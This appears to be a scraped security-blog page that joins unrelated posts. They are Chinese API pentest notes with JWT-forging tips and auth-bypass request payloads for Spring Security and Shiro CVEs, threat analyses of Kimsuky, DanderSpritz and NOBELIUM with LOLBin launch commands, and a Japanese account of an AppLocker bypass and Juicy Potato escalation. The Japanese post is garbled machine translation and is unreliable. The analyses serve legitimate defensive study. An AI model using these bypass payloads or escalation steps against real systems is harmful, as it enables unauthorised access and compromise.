GET /api/user?id={userid1}&id={userid2}
（2）附加特殊字符和随机字符串
简单地替换 id 可能会导致 40x等情况。可以尝试添加一些特殊字符
/ %20、%09、%0b、%0c、%1c、%1d、%1e、%1f
GET /api/user/1
=>
GET /api/user/1%20
（3）添加查询参数
url中可能并没有参数，可以自己添加一些字段（可以是网站返回的，也可以是常见的一些比如id username等等）：
比如
GET /api/user
=>
GET /api/user?id=1
GET /api/user?userid=1
GET /api/user?username=1
...
（4）修改动作
常见有增删改查
比如
GET /api/edit/user/1
=>
GET /api/detele/user/1

PUT /api/user  新增
=>
DETELE /api/user/1 尝试删除
xxe
api为了兼容一些不同的应用场景比如小程序、app等等，可能会兼容不同的数据传输格式
比如之前一个银行的测试，接口传输数据采用的是json格式
ez5tz2h315514976.png
将json格式数据改为xml格式时，发现存在xml外部实体注入漏洞（xxe）
fkanpfqp5pb14980.png
鉴权绕过思路
伪造jwt token
有些网站，访问时会给你一个jwt token，但是payload部分很多字段是空的，这个时候可以去尝试去修改payload中，可能和身份认证相关的字段，伪造jwt token。
伪造就需要解决签名问题
（1）修改签名算法为none
（2）爆破签名的密钥
（3）伪造密钥
...
可以使用jwt_tool进行测试
https://github.com/ticarpi/jwt_tool
tmkh3jgmo4t14983.png
Spring-security 认证绕过漏洞
CVE-2022-22978
影响版本：
Spring Security 5.5.x < 5.5.7
Spring Security 5.6.x < 5.6.4
在spring-security中利用换行符可实现权限认证进行绕过，\r的URl编码为%0d，\n的URL编码为%0a
比如：
/admin/1 -> 需要认证
/admin/1%0d%0a -> 绕过认证
shiro权限绕过
举两个例子
（1）CVE-2020-1957
影响版本: shiro < 1.5.2
shiro与spring的URI中对;处理不同，导致绕过
比如http://127.0.0.1:8080/;/admin，shiro则是认为是访问http://127.0.0.1:8080/
比如http://127.0.0.1:8080/;/admin，spring则是认位是访问http://127.0.0.1:8080/admin
这就造成了与shiro处理⽅式的差异，shiro是直接截断后⾯所有部分，⽽spring只会截断【分号之后，斜杠之前】的部分
/admin/ -> 403
/;aaaa/admin/ -> 200
（2）CVE-2020-13933
影响版本: shiro < 1.6.0
访问/admin/index 需要认证
而/admin/%3bindex，能够绕过认证：
其他
这里就是一些经验之谈
（1）github、前端的js以及app中可能存在一些测试的token
（2）测试站点的凭据可能在正式站点上面也有效
（3）有些应用有toB toC不同的接口，在校验不严格的情况下，toC端的凭据可能能用在toB端的接口认证上，比如某次漏洞挖掘中小程序用户登录获取token，可以用在商家端的一些api绕过认证。
参考
https://github.com/API-Security/APIKit
https://github.com/OWASP/API-Security
https://www.cnblogs.com/tomyyyyy/p/15134420.html
https://www.cnblogs.com/zpchcbd/p/15023056.html
https://www.freebuf.com/vuls/343980.html
https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ
https://mp.weixin.qq.com/s?__biz=Mzg3NDcwMDk3OA==&mid=2247484068&idx=1&sn=89ea1b1be48a0cb7f93a4750765719d1&chksm=cecd8b79f9ba026f7fbf52771e41272d684fc3af5175587f768082f8dbaee12d6d33bb892ceb&scene=21#wechat_redirect
https://apisix.apache.org/zh/docs/apisix/getting-started/
https://zhuanlan.zhihu.com/p/569328044
https://www.cnblogs.com/9eek/p/16243402.html
http://c.biancheng.net/springcloud/gateway.html


原文连接： https://xz.aliyun.com/t/11977

		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
1.概述近期，安天CERT（安天應急響應中心）在梳理安全事件時，發現一例偽裝成韓國互聯網安全局（KISA）研究員針對韓國新聞行業重要人物進行魚叉釣魚的網絡攻擊活動，經研判分析，此次活動來自Kimsuky組織。 Kimsuky是一個疑似來源於半島方向的網絡間諜組織，其至少自2012 年以來一直保持活躍。該組織的最初攻擊目標主要是韓國的政府、軍隊、外交、智囊團以及各領域專家，如今已擴展覆蓋至歐美、俄羅斯、日本等亞洲國家和地區，其情報收集活動的重點也從最初的與半島方向相關外交政策和國家安全問題拓展到數字貨幣等領域。



此次釣魚攻擊手法可總結如下：攻擊者首先通過老版本的BBS論壇程序漏洞入侵一批網站，上傳Webshell控製網站服務器用作跳板，掛載功能腳本和待分發的載荷。然後攻擊者發送魚叉式釣魚郵件，等待受害者的機器中招後下載跳板上的載荷，執行後可獲得受害機器的系統信息、文件和憑證等重要數據。



2.攻擊流程分析經過分析還原，推測攻擊流程如下：攻擊者首先通過BBS漏洞入侵了網站，然後上傳Webshell及其他攻擊活動中所需要的組件到web服務器，web服務器作為跳板機，實現發送郵件、接收受害者信息、提供惡意載荷下載等功能。最後攻擊者構造釣魚郵件投遞到目標機誘導用戶執行，攻擊者可通過Webshell獲取收集到的受害者信息。



 图 2 1 攻击流程示意图.jpg



圖2‑1 攻擊流程示意圖



3.釣魚郵件分析表3‑1二進制可執行文件



 3-1.png



此次攻擊活動目標為駐韓-韓國境內的Daily NK代表，攻擊者向其發送標題可譯為“210813_Business Contact (Cyber Safety)”的釣魚郵件，釣魚郵件中僅包含了一個含有惡意宏的doc附件。



表3‑2郵件信息



 3-2.png



釣魚郵件的內容如下所示。



 图 3 1 钓鱼邮件.jpg



圖3‑1 釣魚郵件



值得注意的是，該附件打開時需要密碼，等目標郵件詢問正確的密碼時，攻擊者將回复補充密碼。仿冒真實案例[1]，此次行動中回复的內容大致為“我很抱歉，先生。看來我犯了一個錯誤。密碼是cyber08^。謝謝。Dongwook Kim 高級研究員。”



 图 3 2 附件打开时需要密码.jpg



圖3‑2 附件打開時需要密碼



 图 3 3 攻击者回复补充密码[1].jpg



圖3‑3 攻擊者回复補充密碼[1]



攻擊者以文檔創建於早期Word版本作為藉口，誘導目標啟用宏。



 图 3 4 诱导目标启用宏.jpg



圖3‑4 誘導目標啟用宏



文檔中的宏代碼主要實現兩部分功能，一部分用於顯示出文檔中的誘餌內容，另一部分用於從服務端下載惡意載荷並執行。



 图 3 5 文档中的宏代码.jpg



圖3‑5 文檔中的宏代碼



正文誘餌內容大致以韓國網絡振興院的口吻描述智能手機感染惡意程序的應對方法，以增強文檔的可信性。



 图 3 6 显示出的诱饵内容.jpg



圖3‑6 顯示出的誘餌內容



創建1589989024.xml文件到模板路徑下，並通過調用wscript.exe來執行xml中的vbscript代碼，VBScript代碼用於從服務端下載惡意載荷並執行。代碼內容如下：



 图 3 7 下载恶意载荷的代码.jpg



圖3‑7 下載惡意載荷的代碼



 图 3 8 xml文件内容.jpg



圖3‑8 xml文件內容



分析過程中載荷已被刪除，因此無法對後續載荷進行分析，但參考以往同源樣本可估測後續實現的功能主要如下[2]：



1) 將VBAWarnings數據添加到MS Office註冊表中以此更改安全功能。



2) 構造特定的http數據頭，並將收集的信息（系統信息、進程列表、最近訪問的文件等）經過Base64編碼後傳回跳板機。



3) 設置計劃任務用於執行跳板機中的其它惡意代碼。



4) 執行經過Base64編碼的PowerShell腳本，運行帶有惡意的鍵盤記錄功能，以記錄用戶的鍵盤輸入。



 图 3 9 击键记录功能的Powershell脚本[2].jpg



圖3‑9 擊鍵記錄功能的Powershell腳本[2]



4.跳板機分析4.1 Webshell分析經過研判，載荷分發服務器的性質為跳板機，通過掃描發現某目錄下存在Webshell，根據服務器運行內容判斷攻擊者可能通過BBS漏洞入侵，得手後上傳Webshell來對服務器進行操作，包括上傳工具腳本和處理日誌結果。



對Webshell分析發現其採用的是嵌套的gzinflate和base64_decode做加密：



 图 4 1 Webshell代码.jpg



圖4‑1 Webshell代碼



該工具可能為Kimsuky組織自研的Webshell工具，能夠獲取網站服務器的操作系統版本、操作系統名、主機名、cpu型號、IP地址等信息，具備目錄選擇及文件的下載、重命名、刪除、查看、上傳等功能。图 4 2 Webshell界面.jpg



圖4‑2 Webshell界面



在對網站文件排查時發現日誌文件中記錄如下信息，猜測在攻擊過程中如果檢測到目標存在分析行為，會自動刪除所有文件。



 图 4 3 文件删除的日志.jpg



圖4‑3 文件刪除的日誌



4.2 發件工具分析跳板機中的其餘惡意文件已被刪除，只觀察到其中部分php文件。發現遺留的php文件中包含可能為該組織自有的發件工具，將該發件工具插入到跳板機的web目錄中，設置好可用來操縱跳板機發送郵件。



 spacer.gif 图 4 4 轻量级邮件发送工具.jpg



圖4‑4 輕量級郵件發送工具



4.3 受害日誌分析跳板機會將受害者主機的信息存放到文件中，此行為猜測應為上述宏文檔下載的後續惡意載荷所具備的功能。文件中收集的信息包括：基礎系統信息、反病毒產品列表、特殊文件夾下的文件-最近編輯或打開的、進程列表信息。受害機中的文件名中含有許多“報導資料”、“平澤”字樣以及許多時事新聞內容，以此推測受害者是一名韓國人，且且應是新聞從業人員。



 图 4 5 收集到的受害者信息.jpg



圖4‑5 收集到的受害者信息



根據對收集到的日誌、郵件等信息進行分析，我們發現連接Webshell的IP與魚叉郵件中的發件IP一致(192.203.145.*)。查詢到該IP地址歸屬於韓國建國大學，其只曾開放過3389端口且當前已關閉，無法繼續分析，猜測其可能是攻擊者攻陷的跳板機。



 图 4 6 发送鱼叉邮件的IP所指向的主机.jpg



圖4‑6 發送魚叉郵件的IP所指向的主機



5 威脅框架映射本次系列攻擊活動共涉及ATTCK框架中9個階段的13個技術點，具體行為的技術特點分佈圖如下：图 5 1 技术特点对应ATT&CK的映射.jpg



圖5‑1 技術特點對應ATTCK的映射



具體的ATTCK技術行為描述表如下：



表5-1 ATTCK技術行為描述表



 5-1.png



6.總結Kimsuky組織作為半島方向的APT組織，一直保持著很高的活躍度，其對熱點事件尤其是軍事政治和外交等相關的事件保持較高的關注，該組織在攻擊過程中體現出輕量化、多階段腳本載荷的特點，以避免檢測或延遲分析時間。此次攻擊活動與以往攻擊活動相似，均是入侵網站將其作為跳板機同受害機通信，此類攻擊手法能夠在一定程度上減少暴露的可能。



附錄：參考資料[1] 북한 해킹조직 ‘탈륨’, KISA 직원까지 사칭…전방위 공격



https://www.dailynk.com/20210817-4/



[2] 탈륨조직, 국내 블록체인 기업 체불확인원 문서로 공격 수행



https://blog.alyac.co.kr/3458


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
 0x01はじめに



ヒント：否定的なケースとして見てください。実際、あなたがそれを得る方法は、以下に言及しているものよりもはるかに厄介ではありません。私はただ焦りすぎていると自分自身を責めています.



 もともとはBCプロジェクトによって作成されたプロモーションサイトでしたが、当時はシェルしかありませんでした



 图片



許可は通常のユーザーです。サーバー上の情報をさらに収集する許可を提起したいとき、彼はさまざまなことを実行することが許可を拒否されることを発見し、グループポリシーにプログラムをブロックするよう促しました。当時、他のことがあったため、彼はそれを研究し続けませんでした（プロジェクトは関連部門によって承認されており、ユーザー名はより敏感であり、プロセス全体が後でコーディングされます）。



 图片



 
 0x02バイパスアップルロッカー



私は最近突然それを覚えていたので、私はそれを続け、グループのマスターに尋ねました



 图片



それが何であるかを知った後、簡単に言うことができます。辛抱強く探していると、常に何かを獲得します。 Applockerはじめに：



https://baike.baidu.com/item/applocker/2300852?fr=aladdinそれからマスター3gの記事を見つけました。



https://3gstudent.github.io/3gstudent.github.io/use-msxsl-to-bypass-applocker/suse who rease nows ows。記事を読んだ後、フォローアップの一般的なアイデアが明らかになります。



 
 0x03オンラインでエスカレートする



私が思うのは、バイパスアップルロッカーにより、ターゲットサーバーはターゲットサーバーを実行し、馬が起動した後にその後の権利の引き上げを実行できるということですが、実行はシェルの下で実行されます



ネットユーザー、タスクリスト /SVCなどをエコーしないでください。そうしないと、プロセス比較を使用してソフトソフトウェアを判断できます（私が書いた小さなホイールで、一致するプロセスは960+：3http://get-av.se7ensec.cn/に増加しました）



わからないので、私は自分のキャラクターを競い、ホストにキリングソフトウェアがないことに賭けます。上記の3Gマスター記事の3番目の方法で馬を走らせた後、下のマシンを無視してオンラインになりました.



 图片



CSが起動された後、次のようなコマンドを実行すると、タスクリスト/SCVは引き続きアクセスが拒否されます。



 图片



次に、組み込みのCSシステムプロセスコマンド「PS」を試して、システムプロセスを正常にリストしました。それを見た後、それは本当にソフトウェアを殺しませんでした。



/*スクリーンショットを撮るのを忘れた */



走る "



Shell SystemInfo「システムとパッチ情報が見えることがわかりましたが、システムにはいくつかのパッチがありませんでした。私は幸運でした。ユーザーの許可をチェックした後、Juicy Potatoの要件を満たしました。



テスト後、それが起動されたことがわかりました（実際、実行許可はありましたが、その時点で何かが間違っているとは思っていませんでした。後で記事を要約したときに何かが間違っていることに気付きました。詳細については、記事の最後を参照してください）。 c: \ users \ public \には実行権限があります。 Juicy Potatoを使用してWhoamiパラメーターを実行し、システムに正常に戻りました。



 图片



その後、それを使用して直接降りると、システムセッションは数秒で行われます。ディレクトリをめくった後、私はそれがまだウェブサイトグループであることがわかりました。



 图片



 管理者許可のスクリーンショットを取ります。たくさんあるのも不思議ではありません。彼らはすべてバッチでWebサイトを構築することがわかりました：



 图片



 
 0x04要約



今回は幸運でキラーに出会わなかったことが起こりました。そうでなければ、それはでこぼこの道であり、より挑戦的です。



最も失敗するのは、今回はApplockerの機能のいくつかを完全に理解していなかったことです。



 https://www.anquanke.com/post/id/159892、私はバイパス法を検索することを切望していて、それを使用し始めました。実際、私が今回遭遇したのは、ファイルパスの単なる制限でした。 c: \ users \ public \はプログラムを実行できます。以前に見つけるのはそれほど難しくありません。ただし、Applockerメカニズムを完全に理解できることも報酬です。



元のリンクから転載：https://mp.weixin.qq.com/s/ede6g1g4hbmkxq6tkieq


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
01.png



今年早些時候，Check Point Research發表了一篇關於“Jian”的文章。在這篇文章中，我們介紹了DanderSpritz框架。



DanderSpritz是什麼?DanderSpritz是Equation Group使用的一個功能齊全的開發後框架。這個框架通常是在利用設備並部署了PeddleCheap之後使用的。 DanderSpritz是非常模塊化的，包含各種各樣的工具，用於持久性、偵察、橫向移動、繞過防病毒引擎和其他此類可疑活動的各種工具。 DanderSpritz 結構和執行流程



在“Lost in Translation”洩漏的目錄樹中，可以發現DanderSpritz邏輯被分為兩部分：



 1.png



dderspritz的核心功能包含在文件DszLpCore.exe中，該文件可以在windows/bin中找到。框架的插件和復雜組件，包括我們稍後將詳細討論的DoubleFeature，可以在windows/resources中找到。 fuzzbunch、implants 和windows 下的其他目錄包含獨立於DanderSpritz 的模塊，用於利用自身、控制受害者係統、初始數據收集等。



DanderSpritz 中的基本邏輯單元就是我們所說的“插件”，駐留在windows/resources中，大約有十幾個，它們有一個非常特定的目錄結構。



windows\\resources 下還有一些其他目錄，它們不是插件，而是包含各種輔助腳本。



 2.png



Aliases和Commands：它們都包含聲明支持““aliases” 和“commands”的XML 文件，它們分別提供類似的功能。當DanderSpritz 框架的用戶發出一個shell 命令，DanderSpritz 將遍歷每個插件，檢查這些XML 並驗證他們是否聲明支持用戶輸入的shell 命令。如果命令出現在Aliases 下，它將被簡單地映射到現有腳本；命令通常會在幕後以某種方式調用插件的內部邏輯。這實際上意味著DanderSpritz 的用戶可以運行許多不同的shell 命令來實現不同的結果。在Commands（但不是Aliases ）下，除了XML 之外，還有一個XSL 文件，它指定返回給DanderSpritz 用戶的命令輸出的格式。



Modules：大部分插件邏輯都包含在這個目錄中。從名稱可以看出，該邏輯被進一步劃分為更小的功能“模塊”。 descriptions子目錄包含一個XML 文件，它是一種“manifest”。它詳細說明了應該在受害者設備和“LP”（“Listening Post”，攻擊者控制的遠程監控受害者的設備）上運行哪些腳本和二進製文件。它還列出了插件對其他模塊的依賴、它的接口數據、它支持的計算架構以及它應該在受害設備上還是在LP 上運行。一些插件還包含具有類似功能的有效載荷目錄。



PyLp：包含XML 文件，用於格式化從受害者設備中洩露的傳入信息。對於每種“消息類型”（一種洩露的信息），XML 指定一個Python 腳本，用於格式化數據以方便顯示。此格式化腳本位於PyScripts 目錄中。



PyScripts：框架使用的所有雜項Python 腳本都在此目錄中。



Scripts：這個目錄還包含雜項腳本，這些腳本是用一些重印記的腳本語言編寫的，在Python 崛起之前，這些腳本語言似乎可以合理使用。



Tools：開發者認為他們寧願按原樣包含和調用的自包含材料（PE、DLL、腳本、JAR、文本文件等）。



Uploads：由插件推送到受害者係統的獨立二進製文件。



Version：包含一個包含插件版本的XML 文件。



下面我們詳細介紹調用插件Aliases或Commands時的典型控制流程。



DanderSpritz 用戶在DanderSpritz 用戶界面中輸入一個shell 命令，該命令在幕後使用該特定插件實現。



 3.webp.jpg



DanderSpritz 的用戶界面及其shell 命令



1.DanderSpritz 的主要邏輯遍歷resources目錄，一個接一個地查看插件目錄。對於每個插件目錄，DanderSpritz 查看aliases 子目錄和commands 子目錄，並仔細檢查其中的XML 文件，尋找與shell 命令匹配的聲明的導出功能。找到匹配項，並且匹配的XML 元素指定插件的pyscripts 目錄中的路徑。



2.DanderSpritz 計算調用腳本的完全限定路徑（通過將匹配的XML 元素中指定的路徑附加到插件的pyscripts 目錄的路徑）並執行該文件。這是顯示調用的shell命令的用戶界面的位置，插件可以說是正常運行的。



3.現在，攻擊者可以隨時盯著他們調用的工具的UI。最終，他們可能希望通過此UI 調用某些功能。根據選擇的功能，Python UI 構造一個遠程進程調用。它將此RPC 發送到受害設備上的DanderSpritz 組件。受害者端的這個組件然後執行調用並返回結果。這樣，RPC 就被用作LP 上的組件訪問的API，以在受害設備上執行操作（例如收集屏幕截圖或錄製語音）。此API 與這些操作在受害組件端實際實現的方式分離。



4.RPC 返回攻擊者所需的寶貴信息，Python UI 在插件的PyLP 目錄中查詢與結果的消息類型匹配的XML。這個XML 指定瞭如何在LP 端顯示返回的信息，UI 也是如此。



 4.png



特定命令的XML 文件（LP 和Target）示例



DoubleFeature為了更好地理解上述結構和流程，我們將研究重點放在了DanderSpritz 的一個名為Doublefeature（簡稱Df）的組件上。根據它自己的內部文檔，這個插件“生成關於可以部署在目標上的工具類型的日誌和報告”；許多框架工具，在它們自己的內部文檔中，聲稱DoubleFeature是唯一的方法來確認他們在一個被破壞的系統上的存在。經過一段時間的停頓，我們認為至少這意味著DoubleFeature 可以用作一種Rosetta Stone，以更好地理解DanderSpritz 模塊和受其影響的系統。



 5.webp.jpg



strangeland.py 的代碼指的是確認的唯一方法是使用DF



不幸的是，由於DoubleFeature 作為日誌模塊的獨特功能，它收集了大量各種類型的數據。 RPC 返回值和XSL 標記不適合在這種規模上傳輸和顯示信息。



 6.webp.jpg



DoubleFeature 主菜單



DoubleFeature PyScripts目錄包含Python的UI界面(doublefeature.py)，但是當攻擊者從UI 菜單中選擇一個選項時，在幕後，腳本會變成一個“模板”DLL，DoubleFeatureDll.dll.unfinalized ，位於插件的上傳目錄中。 Python 調用插件工具目錄中的外部工具AddResource.exe ，將資源植入已編譯的DLL，使用新名稱：DoubleFeatureDll.dll.configured。確切的命令運行是：



*localrun-redirectcommand'cmpf61104'*'命令使用的標誌解釋如下。



c (compressed) ——Zlib 壓縮數據；



m (munge)=通過與偽隨機字節異或來混淆資源。字節是通過運行PRNG（32 位LCG）並使用執行時間戳作為種子生成的；為了允許恢復，種子被添加到混淆的資源中；



p (place)=將資源放入homebrew資源目錄；



f (finalize)=私有資源目錄；



6=資源類型（此時，枚舉值6 轉換為RT_STRING，一個字符串表條目）；



1104=資源名稱。



在主插件DLL ** 被賦予這個新資源後，Python UI 使用DanderSpritz dllload shell 命令將其加載到受害設備上：



dllload -ordinal 1 -library



一旦受害者端的DLL 完成運行並將報告寫入受害者設備上的日誌文件，Python UI 就會使用以下DanderSpritz shell 命令將日誌文件提取回攻擊者設備：



foregroundget-nameDFReport雖然DanderSpritz 命令的大部分輸出是根據XSL 規範查看的，但DoubleFeature 的輸出太大且變化太多，因此這種方法不可行。相反，攻擊者通常使用為此目的編寫的專門程序——DoubleFeatureReader.exe，查看日誌文件，該程序可以在插件的工具目錄中找到。



DoubleFeature 將其所有日誌數據寫入名為~yh56816.tmp 的調試日誌文件嗎，此日誌文件使用AES 算法加密。除非用戶手動更改密鑰，否則使用的默認密鑰是badc0deb33ff00d。



DoubleFeature 的主DLL當修復的DLL ( DoubleFeatureDll.dll.configured ) 首次加載到受害設備上時，它會在自製軟件資源目錄中查找名為“106”的資源。該目錄位於實際代碼之後的“.text”部分，DLL 能夠通過搜索不同的魔法值來找到它。 homebrew 資源目錄具有以下結構：



 7.png



這個資源(與之前通過調用AddResource.exe移植到DLL的資源不同)在靜止狀態下是加密的，為了使用它，必須對它進行解密和解壓縮。



 8.png



資源106 解壓縮後，是一個名為hidsvc.sys 的驅動程序。它通過調用CVE-2017-0005 的EpMe 漏洞加載到內核中。加載驅動程序後，DLL 開始使用DeviceIoControl 與其通信。驅動程序支持的最有趣的IOControlCode 是0x85892408，它允許用戶模式代碼通過簡單地指定功能名稱和參數來直接調用內核功能。驅動程序希望使用此代碼的傳入消息與以下結構捆綁在一起：



 9.png



在接收到這個結構體後，驅動程序遍歷ntoskernl.exe 的每個導出函數，計算結果校驗和並將結果與提供的export_func_hash 進行比較。一旦找到匹配項，驅動程序就會得出結論，它已找到正確的函數。這是混淆API 調用的標準方法，在許多其他惡意軟件中都可以看到。



校驗和計算邏輯如下所示：



 10.png



一些校驗和值示例：



 11.png



這還不是唯一的困難，DoubleFeature 中使用的字符串是解密的，這本身就是非常標準的，但按需對每個函數進行解密，一旦函數執行完成，它們就會重新加密，這比平常更令人沮喪，DoubleFeature 還支持其他混淆方法，例如簡單的替換密碼：



 12.png



以及一個基於簡單自製線性PRNG的流密碼：



 13.png



如上所述，憑藉其函數，DoubleFeature 是與Equation Group工具相關的唯一知識來源。畢竟，整個日誌記錄模塊依賴於在受害系統上查詢這些工具並驗證哪些工具存在的能力。下面我們列出了日誌模塊探測到的一些工具，其中一些是未知的。



除了在DLL 的執行流程中使用的資源106 和1104 外，主DLL 的homebrew資源目錄還包含以下資源：



資源1004：UnitedRake 重新啟動DLL。



資源1005：UnitedRake 關閉DLL。



資源1006：StraitBiZarre 重新啟動DLL。



資源200：與BCD 分區數據進行比較的已知引導管理器的哈希值。



資源1007：升級KillSuit 模塊DLL，在代碼中可以找到對它的引用，但在目錄中不再物理找到它。可能它存在於DLL 的早期版本中，後來被刪除了。



DoubleFeature 監控的插件UnitedRakeUnitedRake (UR) 是一種遠程訪問工具，可用於針對Windows 設備。它是一個可擴展的模塊化框架，提供了大量執行不同信息收集功能的插件。



UnitedRake 指標如下：



1.MSNDSRV.sys：內核模式階段0 和rootkit。實現用於過濾網絡流量的NDIS 驅動程序。直到UR 4.0 版。



2.ATMDKDRV.sys ：網絡嗅探器/修復程序。從UR 4.1 版開始。



3.“Software\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2109}\TypeLib” or “\Registry\Machine\SOFTWARE\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2209}\TypeLib”：包含UR 的GUID，特殊項註冊表項



4.“\Registry\Machine\System\CurrentControlSet\Control\Session Manager\MemSubSys\{95FFB832-8B00-6E10-444B-DC67CAE0118A-F6D58114}”：KillSuit記錄與註冊表相關的數據。



5.“Global\64322D88-0CEA-4ce0-8562-67345B70C655”：在TipOff 命令中創建的文件映射。



6.“*Global\*6F27089A-3482-4109-8F5B-CB3143A1AB9A” 和“*Global\*667FBF02-F406-4C0A-BA65-893747A0D372”：在UR 關閉時創建的事件。



7.{A0CCDC61-7623-A425-7002-DB81F353945F-5A8ECFAD}： UnitedRake 3/4 配置數據和傳輸信息CLSID；



8.{30F3976F-90F0-B438-D324-07E031C7507E-981BE0DD}：UnitedRake 插件信息CLSID；



9.{95FFB832-8B00-6E10-444B-DC67CAE0118A-F6D58114}：UnitedRake 記錄數據CLSID；



10.{01C482BA-BD31-4874-A08B-A93EA5BCE511} ：UnitedRake 的互斥鎖名稱。



StraitBizarreStraitBizarre (SBZ) 是一種用於隱秘數據洩露的植入程序，它通過FriezeRamp 執行——一種類似於IPSEC 的自定義網絡協議。這是一個跨平台項目，存在支持Windows、Linux 和移動平台的不同版本（例如iPhone 的DROPOUTJEEP，甚至Windows Mobile 的TOTEGHOSTLY）。



 14.webp.jpg



StraitBizzare 信息



我們在DoubleFeature 中發現了以下StraitBizarre 指標：



{1B8C5912-8BE4-11D1-B8D3-F5B42019CAED}：用於GUID，版本和特殊狀態項的SBZ CLSID。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
攻擊者NOBELIUM最近加強了通過基於電子郵件的攻擊，郵件釣魚攻擊自2021 年初以來一直在進行。我們將繼續監視這種主動攻擊活動，並發布更多詳細信息。在本文中，我們重點介紹了代表NOBELIUM 使用的獨特感染鏈的四個工具：EnvyScout、BoomBox、NativeZone 和VaporRage。據觀察，這些工具早在2021 年2 月就在野外使用，試圖攻擊各種敏感的外交和政府目標。



本文中討論的每個NOBELIUM 工具都是為靈活性而設計的，使使用者能夠隨著時間的推移適應場景。 NOBELIUM 的安全能力可能影響了該工具集的設計，該工具集為在潛在高風險和高對抗環境中的使用者提供了更好的隱藏功能。這些安全功能是：



使用可信通道：BoomBox是一款獨特開發的下載程序，用於從攻擊者控制的Dropbox帳戶獲取後期有效負載。所有初始通信都通過HTTPS利用Dropbox API。



環境分析：與NOBELIUM、BoomBox、VaporRage 和一些NativeZone 變體使用的其他工具一致，樣本會對受影響的系統環境進行一定程度的分析。



混淆：VaporRage 是一個獨特的shellcode 加載器，被視為第三階段的有效載荷。 VaporRage 可以完全在內存中下載、解碼和執行任意負載。這種設計和部署模式，其中還包括在受感染網站上暫存有效載荷，阻礙了傳統的工件和取證調查，允許獨特的有效載荷不被發現。



儘管自2020 年底SolarWinds 攻擊事件曝光以來，社區知名度不斷提高，但NOBELIUM 仍繼續以全球政府和外交實體為目標。我們預計，隨著這些業務的進展，NOBELIUM 將繼續完善其工具和策略，以面向全球目標。



0x01 EnvyScout：NV.html（惡意HTML 文件）NV.html被Microsoft 跟踪為EnvyScout，最好將其描述為一個能夠對惡意ISO 文件進行反混淆並將其寫入磁盤的惡意投放器。 EnvyScout 主要通過魚叉式網絡釣魚電子郵件的附件發送給NOBELIUM 的目標。



NV.html的HTML



組件#1：跟踪和憑據收集URL



 img



在EnvyScout 的一種變體中，



第一個以file://協議處理程序為前綴，表示試圖誘使操作系統通過端口445 將敏感的NTLMv2 信息發送到指定的攻擊者控制的IP 地址。 攻擊者很可能正在運行憑據在這些事務的另一端捕獲服務，例如Responder。



第二個URL 在分析時解析為與前者相同的IP 地址，遠程獲取作為HTML 誘餌一部分的圖像。這種技術有時被稱為“網絡錯誤”，作為對NOBELIUM 的各種讀取返回，驗證預期目標是否已打開惡意附件。



組件#2：FileSaver JavaScript 幫助程序代碼



 img



EnvyScout 的第二部分是開源工具FileSaver的修改版本，旨在幫助通過JavaScript 將文件寫入磁盤。該代碼直接從公開可用的變體中藉用，並進行了細微改動，包括去除空格、將十六進制參數轉換為十進制以及重命名變量。通過將此代碼與下面詳述的組件#3 和#4 相結合，NOBELIUM 有效地實現了HTML 走私方法。這種方法可以通過在執行時在動態更改的內容中隱藏已知惡意文件類型來規避對已知惡意文件類型的靜態分析。



https://github.com/eligrey/FileSaver.js



https://outflank.nl/blog/2018/08/14/html-smuggling-explained/組件#3：混淆的ISO 文件



 img



EnvyScout 的第三部分包含存儲為編碼blob 的有效負載。此有效負載通過使用單字節密鑰對每個字符進行異或來解碼，然後生成Base64 有效負載，然後通過組件#2 和#4 解碼並寫入磁盤。



組件#4：去混淆器和釋放器腳本



 img



EnvyScout 的最後一個組件是一個簡短的代碼片段，負責解碼Base64 編碼/XOR'd blob 中的ISO，並將其作為NV.img保存到磁盤，並使用mime 類型“application/octet-stream”。在感染的這個階段，用戶應該通過雙擊打開下載的ISO NV.img。



EnvyScout 變體#1：



 img



在攻擊者的網絡釣魚活動的某些迭代版本中，EnvyScout 包含被window.location.pathname調用的守護進程，並利用其值來確保返回的字符數組中的前兩個條目是“C”和“:”。如果不滿足這個條件，表明樣本不是從C:驅動器執行，那麼嵌入的ISO 就不會寫入磁盤。



 img



EnvyScout 變體#2：



 img



在至少一個EnvyScout 實例中，我們觀察到了對正在執行的瀏覽器環境的進一步枚舉，其中用戶代理用於確定Windows 機器是否收到了ISO 負載。



1.NV.img（惡意ISO 文件）當目標用戶通過雙擊打開NV.img時，Windows 10 上的默認行為是在下一個可用驅動器上安裝ISO 映像。 Windows 資源管理器隨後會在一個窗口中顯示已安裝ISO 的內容，類似於用戶打開文件夾或壓縮檔案時看到的內容。



 img



如上所示，掛載的ISO 包含一個可見文件，一個名為NV的快捷方式文件。但是，在Windows 中調整文件和文件夾設置以顯示隱藏文件和文件夾會暴露一個名為NV的隱藏文件夾和一個名為BOOM.exe的隱藏可執行文件：



 img



用戶很可能會與NV.lnk進行交互，但是手動執行隱藏文件BOOM.exe也會導致系統被感染。下面詳細介紹了每個文件的各個內容。



2.NV.pdf（釣魚文件）掛載的ISO 中隱藏的NV 目錄包含一個名為NV.pdf的誘餌PDF 文件：



 img



如本分析稍後所述，NV目錄的內容通過BOOM.exe顯示給用戶。



3.NV.lnk（惡意快捷方式）NV.lnk是隱藏文件BOOM.exe的快捷方式、啟動器。如下所示，該快捷方式利用了一個二進製文件(LOLBin) 來使用以下硬編碼的快捷方式目標值來代理BOOM.exe的執行：C:\Windows\System32\rundll32.exe c:\ windows\system32\advpack.dll，註冊OCX BOOM.exe。



 img



還發現了此LNK 文件的變體，其中包含以下快捷方式目標值：C:\Windows\System32\cmd.exe /c start BOOM.exe。



圖標通常是文件夾，旨在誘使目標用戶認為他們正在打開文件夾的快捷方式。



還觀察到已知LNK 文件的以下目標：



C:\Windows\System32\rundll32.exe IMGMountingService.dll MountImgHelper



C:\Windows\System32\rundll32.exe diassvcs.dll InitializeComponent



C:\Windows\System32\rundll32.exe MsDiskMountService.dll DiskDriveIni



C:\Windows\system32\rundll32.exe data/mstu.dll,MicrosoftUpdateService



